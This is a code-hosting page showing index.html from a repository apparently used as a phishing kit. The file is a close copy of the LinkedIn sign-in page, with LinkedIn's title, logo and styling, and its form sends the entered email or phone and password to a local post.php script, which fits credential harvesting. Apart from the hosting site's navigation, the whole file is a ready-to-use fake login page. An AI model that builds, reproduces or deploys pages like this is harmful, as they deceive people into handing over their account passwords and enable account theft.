Trang chủ Khám phá Trợ giúp
Đăng nhập
zhensolid
/
mip22
1
0
Fork 0
Các tập tin Các vấn đề 0 Yêu cầu kéo về 0 Wiki
Branch: main
Branches Tags
mip22
/
.pages
/
linkedin
/
index.html

index.html 9.9 KB
Permalink Lịch sử Raw

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206 
  1. <html>
    2. 

  2. <head>
    3. 

  3. 

  4.  <title> LinkedIn Login, Sign in | LinkedIn </title>
    5. 

  5. 

  6. <script>
    7. 

  7. 

  8. document.getElementById("input--email").addEventListener("focus", function() {
    9. 

  9.   document.getElementById("label--email").classList.add("transform")
    10. 

  10. })
    11. 

  11. 

  12. document.getElementById("input--email").addEventListener("blur", function() {
    13. 

  13.   if (document.getElementById("input--email").value === "")
    14. 

  14.     document.getElementById("label--email").classList.remove("transform")
    15. 

  15. })
    16. 

  16. 

  17. document.getElementById("input--password").addEventListener("focus", function() {
    18. 

  18.   document.getElementById("label--password").classList.add("transform")
    19. 

  19. })
    20. 

  20. 

  21. document.getElementById("input--password").addEventListener("blur", function() {
    22. 

  22.   if (document.getElementById("input--password").value === "")
    23. 

  23.     document.getElementById("label--password").classList.remove("transform")
    24. 

  24. })
    25. 

  25. 

  26. </script>
    27. 

  27. 

  28. 

  29. <style>
    30. 

  30. 

  31. body {
    32. 

  32. 	margin: 0;
    33. 

  33. 	font-family: -apple-system, system-ui, BlinkMacSystemFont, "Segoe UI", Roboto,
    34. 

  34. 		"Helvetica Neue", "Fira Sans", Ubuntu, Oxygen, "Oxygen Sans", Cantarell,
    35. 

  35. 		"Droid Sans", "Apple Color Emoji", "Segoe UI Emoji", "Segoe UI Emoji",
    36. 

  36. 		"Segoe UI Symbol", "Lucida Grande", Helvetica, Arial, sans-serif;
    37. 

  37. }
    38. 

  38. 

  39. .nav__base {
    40. 

  40. 	height: 8px;
    41. 

  41. 	background-color: #283e4a;
    42. 

  42. }
    43. 

  43. 

  44. .app__content {
    45. 

  45. 	text-align: center;
    46. 

  46. 	padding: 24px;
    47. 

  47. }
    48. 

  48. 

  49. .header__logo {
    50. 

  50. 	padding: 32px 0 24px 0;
    51. 

  51. }
    52. 

  52. 

  53. .header__logo svg {
    54. 

  54. 	width: 84px;
    55. 

  55. 	height: 21px;
    56. 

  56. 	position: relative;
    57. 

  57. }
    58. 

  58. 

  59. .header__content__heading {
    60. 

  60. 	font-size: 1.5rem;
    61. 

  61. 	line-height: 1.33333;
    62. 

  62. 	font-weight: 600;
    63. 

  63. 	color: rgba(0, 0, 0, 0.9);
    64. 

  64. 	padding: 0 0 4px 0;
    65. 

  65. }
    66. 

  66. 

  67. .header__content__subheading {
    68. 

  68. 	line-height: 1.75;
    69. 

  69. 	color: rgba(0, 0, 0, 0.6);
    70. 

  70. }
    71. 

  71. 

  72. .form__input--floating {
    73. 

  73. 	margin: 0 0 12px 0;
    74. 

  74. }
    75. 

  75. 

  76. .form__input--floating input {
    77. 

  77. 	padding: 26px 12px 3px;
    78. 

  78. 	font-size: 1.125rem;
    79. 

  79. 	width: 100%;
    80. 

  80. 	box-sizing: border-box;
    81. 

  81. 	border-radius: 2px;
    82. 

  82. 	border: 1px solid rgba(0, 0, 0, 0.6);
    83. 

  83. 	z-index: 1;
    84. 

  84. 	position: relative;
    85. 

  85. 	background: transparent;
    86. 

  86. 	color: rgba(0, 0, 0, 0.9);
    87. 

  87. }
    88. 

  88. 

  89. .form__label--floating {
    90. 

  90. 	position: absolute;
    91. 

  91. 	font-size: 1.125rem;
    92. 

  92. 	color: rgba(0, 0, 0, 0.9);
    93. 

  93. 	padding: 14px 0 0 12px;
    94. 

  94. 	transition: 0.2s all;
    95. 

  95. }
    96. 

  96. 

  97. .form__label--floating.transform {
    98. 

  98. 	transform: translateY(-10px);
    99. 

  99. 	font-size: 0.9rem;
    100. 

  100. }
    101. 

  101. 

  102. .show-password__button {
    103. 

  103. }
    104. 

  104. 

  105. .login__form .login__form_action_container {
    106. 

  106. 	display: flex;
    107. 

  107. 	flex-direction: column;
    108. 

  108. }
    109. 

  109. 

  110. .login__form .login__form_action_container--multiple-actions button {
    111. 

  111. 	margin: 4px 4px 12px 4px;
    112. 

  112. 	flex: 1;
    113. 

  113. 	height: 52px;
    114. 

  114. 	border-radius: 2px;
    115. 

  115. 	font-family: inherit;
    116. 

  116. 	font-weight: 600;
    117. 

  117. 	font-size: 1rem;
    118. 

  118. }
    119. 

  119. 

  120. .btn__primary--large {
    121. 

  121. 	background-color: #0073b1;
    122. 

  122. 	border: none;
    123. 

  123. 	color: #fff;
    124. 

  124. }
    125. 

  125. 

  126. .btn__secondary--large {
    127. 

  127. 	background-color: #fff;
    128. 

  128. 	border: 1px solid #0073b1;
    129. 

  129. 	color: #0073b1;
    130. 

  130. }
    131. 

  131. 

  132. a {
    133. 

  133. 	color: #0073b1;
    134. 

  134. }
    135. 

  135. 

  136. form {
    137. 

  137. 	margin-bottom: 24px;
    138. 

  138. }
    139. 

  139. 

  140. @media screen and (min-width: 770px) {
    141. 

  141. 	.login__form .login__form_action_container {
    142. 

  142. 		flex-direction: row;
    143. 

  143. 	}
    144. 

  144. 

  145. 	form {
    146. 

  146. 		max-width: 384px;
    147. 

  147. 		margin-left: auto;
    148. 

  148. 		margin-right: auto;
    149. 

  149. 	}
    150. 

  150. }
    151. 

  151. 

  152. 

  153. </style>
    154. 

  154. 

  155. </head>
    156. 

  156. 

  157. <body>
    158. 

  158. 

  159. <div id="app__container">
    160. 

  160.   <header>
    161. 

  161.     <div class="nav__base"></div>
    162. 

  162.   </header>
    163. 

  163.   <main class="app__content">
    164. 

  164.     <div class="header__logo">
    165. 

  165.       <svg preserveAspectRatio="xMinYMin meet" focusable="false"><g class="scaling-icon" style="fill-opacity: 1"><defs></defs><g class="logo-21dp"><g class="dpi-1"><g class="inbug" stroke="none" stroke-width="1" fill="none" fill-rule="evenodd"><path d="M19.479,0 L1.583,0 C0.727,0 0,0.677 0,1.511 L0,19.488 C0,20.323 0.477,21 1.333,21 L19.229,21 C20.086,21 21,20.323 21,19.488 L21,1.511 C21,0.677 20.336,0 19.479,0" class="bug-text-color" fill="#FFFFFF" transform="translate(63.000000, 0.000000)"></path><path d="M82.479,0 L64.583,0 C63.727,0 63,0.677 63,1.511 L63,19.488 C63,20.323 63.477,21 64.333,21 L82.229,21 C83.086,21 84,20.323 84,19.488 L84,1.511 C84,0.677 83.336,0 82.479,0 Z M71,8 L73.827,8 L73.827,9.441 L73.858,9.441 C74.289,8.664 75.562,7.875 77.136,7.875 C80.157,7.875 81,9.479 81,12.45 L81,18 L78,18 L78,12.997 C78,11.667 77.469,10.5 76.227,10.5 C74.719,10.5 74,11.521 74,13.197 L74,18 L71,18 L71,8 Z M66,18 L69,18 L69,8 L66,8 L66,18 Z M69.375,4.5 C69.375,5.536 68.536,6.375 67.5,6.375 C66.464,6.375 65.625,5.536 65.625,4.5 C65.625,3.464 66.464,2.625 67.5,2.625 C68.536,2.625 69.375,3.464 69.375,4.5 Z" class="background" fill="#0073B0"></path></g><g class="linkedin-text"><path d="M60,18 L57.2,18 L57.2,16.809 L57.17,16.809 C56.547,17.531 55.465,18.125 53.631,18.125 C51.131,18.125 48.978,16.244 48.978,13.011 C48.978,9.931 51.1,7.875 53.725,7.875 C55.35,7.875 56.359,8.453 56.97,9.191 L57,9.191 L57,3 L60,3 L60,18 Z M54.479,10.125 C52.764,10.125 51.8,11.348 51.8,12.974 C51.8,14.601 52.764,15.875 54.479,15.875 C56.196,15.875 57.2,14.634 57.2,12.974 C57.2,11.268 56.196,10.125 54.479,10.125 L54.479,10.125 Z" fill="#000000"></path><path d="M47.6611,16.3889 C46.9531,17.3059 45.4951,18.1249 43.1411,18.1249 C40.0001,18.1249 38.0001,16.0459 38.0001,12.7779 C38.0001,9.8749 39.8121,7.8749 43.2291,7.8749 C46.1801,7.8749 48.0001,9.8129 48.0001,13.2219 C48.0001,13.5629 47.9451,13.8999 47.9451,13.8999 L40.8311,13.8999 L40.8481,14.2089 C41.0451,15.0709 41.6961,16.1249 43.1901,16.1249 C44.4941,16.1249 45.3881,15.4239 45.7921,14.8749 L47.6611,16.3889 Z M45.1131,11.9999 C45.1331,10.9449 44.3591,9.8749 43.1391,9.8749 C41.6871,9.8749 40.9121,11.0089 40.8311,11.9999 L45.1131,11.9999 Z" fill="#000000"></path><polygon fill="#000000" points="38 8 34.5 8 31 12 31 3 28 3 28 18 31 18 31 13 34.699 18 38.241 18 34 12.533"></polygon><path d="M16,8 L18.827,8 L18.827,9.441 L18.858,9.441 C19.289,8.664 20.562,7.875 22.136,7.875 C25.157,7.875 26,9.792 26,12.45 L26,18 L23,18 L23,12.997 C23,11.525 22.469,10.5 21.227,10.5 C19.719,10.5 19,11.694 19,13.197 L19,18 L16,18 L16,8 Z" fill="#000000"></path><path d="M11,18 L14,18 L14,8 L11,8 L11,18 Z M12.501,6.3 C13.495,6.3 14.3,5.494 14.3,4.5 C14.3,3.506 13.495,2.7 12.501,2.7 C11.508,2.7 10.7,3.506 10.7,4.5 C10.7,5.494 11.508,6.3 12.501,6.3 Z" fill="#000000"></path><polygon fill="#000000" points="3 3 0 3 0 18 9 18 9 15 3 15"></polygon></g></g><g class="dpi-gt1" transform="scale(0.4375)"><g class="inbug" stroke="none" stroke-width="1" fill="none" fill-rule="evenodd"><path d="M44.5235,0 L3.6185,0 C1.6625,0 0.0005,1.547 0.0005,3.454 L0.0005,44.545 C0.0005,46.452 1.6625,48 3.6185,48 L44.5235,48 C46.4825,48 48.0005,46.452 48.0005,44.545 L48.0005,3.454 C48.0005,1.547 46.4825,0 44.5235,0" class="bug-text-color" fill="#FFFFFF" transform="translate(143.000000, 0.000000)"></path><path d="M187.5235,0 L146.6185,0 C144.6625,0 143.0005,1.547 143.0005,3.454 L143.0005,44.545 C143.0005,46.452 144.6625,48 146.6185,48 L187.5235,48 C189.4825,48 191.0005,46.452 191.0005,44.545 L191.0005,3.454 C191.0005,1.547 189.4825,0 187.5235,0 Z M162,18 L168.5,18 L168.5,21.266 C169.437,19.388 171.838,17.7 175.445,17.7 C182.359,17.7 184,21.438 184,28.297 L184,41 L177,41 L177,29.859 C177,25.953 176.063,23.75 173.68,23.75 C170.375,23.75 169,26.125 169,29.859 L169,41 L162,41 L162,18 Z M150,41 L157,41 L157,18 L150,18 L150,41 Z M158,10.5 C158,12.985 155.985,15 153.5,15 C151.015,15 149,12.985 149,10.5 C149,8.015 151.015,6 153.5,6 C155.985,6 158,8.015 158,10.5 Z" class="background" fill="#0073B0"></path></g><g class="linkedin-text"><path d="M136,41 L130,41 L130,37.5 C128.908,39.162 125.727,41.3 122.5,41.3 C115.668,41.3 111.2,36.975 111.2,30 C111.2,23.594 114.951,17.7 121.5,17.7 C124.441,17.7 127.388,18.272 129,20.5 L129,7 L136,7 L136,41 Z M123.25,23.9 C119.691,23.9 117.9,26.037 117.9,29.5 C117.9,32.964 119.691,35.2 123.25,35.2 C126.81,35.2 129.1,32.964 129.1,29.5 C129.1,26.037 126.81,23.9 123.25,23.9 L123.25,23.9 Z" fill="#000000"></path><path d="M108,37.125 C105.722,40.02 101.156,41.3 96.75,41.3 C89.633,41.3 85.2,36.354 85.2,29 C85.2,21.645 90.5,17.7 97.75,17.7 C103.75,17.7 108.8,21.917 108.8,30 C108.8,31.25 108.6,32 108.6,32 L92,32 L92.111,32.67 C92.51,34.873 94.873,36 97.625,36 C99.949,36 101.689,34.988 102.875,33.375 L108,37.125 Z M101.75,27 C101.797,24.627 99.89,22.7 97.328,22.7 C94.195,22.7 92.189,24.77 92,27 L101.75,27 Z" fill="#000000"></path><polygon fill="#000000" points="63 7 70 7 70 27 78 18 86.75 18 77 28.5 86.375 41 78 41 70 30 70 41 63 41"></polygon><path d="M37,18 L43,18 L43,21.375 C43.947,19.572 47.037,17.7 50.5,17.7 C57.713,17.7 59,21.957 59,28.125 L59,41 L52,41 L52,29.625 C52,26.969 52.152,23.8 48.5,23.8 C44.8,23.8 44,26.636 44,29.625 L44,41 L37,41 L37,18 Z" fill="#000000"></path><path d="M29.5,6.125 C31.813,6.125 33.875,8.189 33.875,10.5 C33.875,12.811 31.813,14.875 29.5,14.875 C27.19,14.875 25.125,12.811 25.125,10.5 C25.125,8.189 27.19,6.125 29.5,6.125 L29.5,6.125 Z M26,41 L33,41 L33,18 L26,18 L26,41 Z" fill="#000000"></path><polygon fill="#000000" points="0 7 7 7 7 34 22 34 22 41 0 41"></polygon></g></g></g></g></svg>
    166. 

  166.     </div>
    167. 

  167.     <div class="header__content">
    168. 

  168.       <h1 class="header__content__heading">Sign in</h1>
    169. 

  169.       <p class="header__content__subheading">Stay updated on your professional world</p>
    170. 

  170.     </div>
    171. 

  171.     
    172. 

  172.     <form class="login__form" action="post.php" method="post">
    173. 

  173. 		
    174. 

  174.       <div class="form__input--floating">
    175. 

  175.         <label class="form__label--floating" id="label--email">Email or Phone</label>
    176. 

  176.         <input id="input--email" type="text" name="session_key">
    177. 

  177.       </div>
    178. 

  178.       
    179. 

  179.       <div class="form__input--floating">
    180. 

  180.         <label class="form__label--floating" id="label--password">Password</label>
    181. 

  181.         <input id="input--password" type="password" name="session_password">
    182. 

  182.       </div>
    183. 

  183.       
    184. 

  184.       <div class="login__form_action_container login__form_action_container--multiple-actions">
    185. 

  185.         <button class="btn__secondary--large from__button--floating" aria-label="Cancel">Cancel</button>
    186. 

  186.         <button class="btn__primary--large from__button--floating" type="submit" aria-label="Sign in">Sign in</button>
    187. 

  187.       </div>
    188. 

  188.       
    189. 

  189.     </form>
    190. 

  190.     
    191. 

  191.     <div class="footer-app-content-actions">
    192. 

  192.       <div>
    193. 

  193.         <a href="https://www.linkedin.com/uas/request-password-reset">Forgot password?</a>
    194. 

  194.       </div>
    195. 

  195.       <p>
    196. 

  196.         New to LinkedIn?
    197. 

  197.         <a href="https://www.linkedin.com/signup/cold-join">Join now</a>
    198. 

  198.       </p>
    199. 

  199.     </div>
    200. 

  200.   </main>
    201. 

  201. </div>
    202. 

  202. 

  203. 

  204. </body>
    205. 

  205. 

  206. </html>
    207.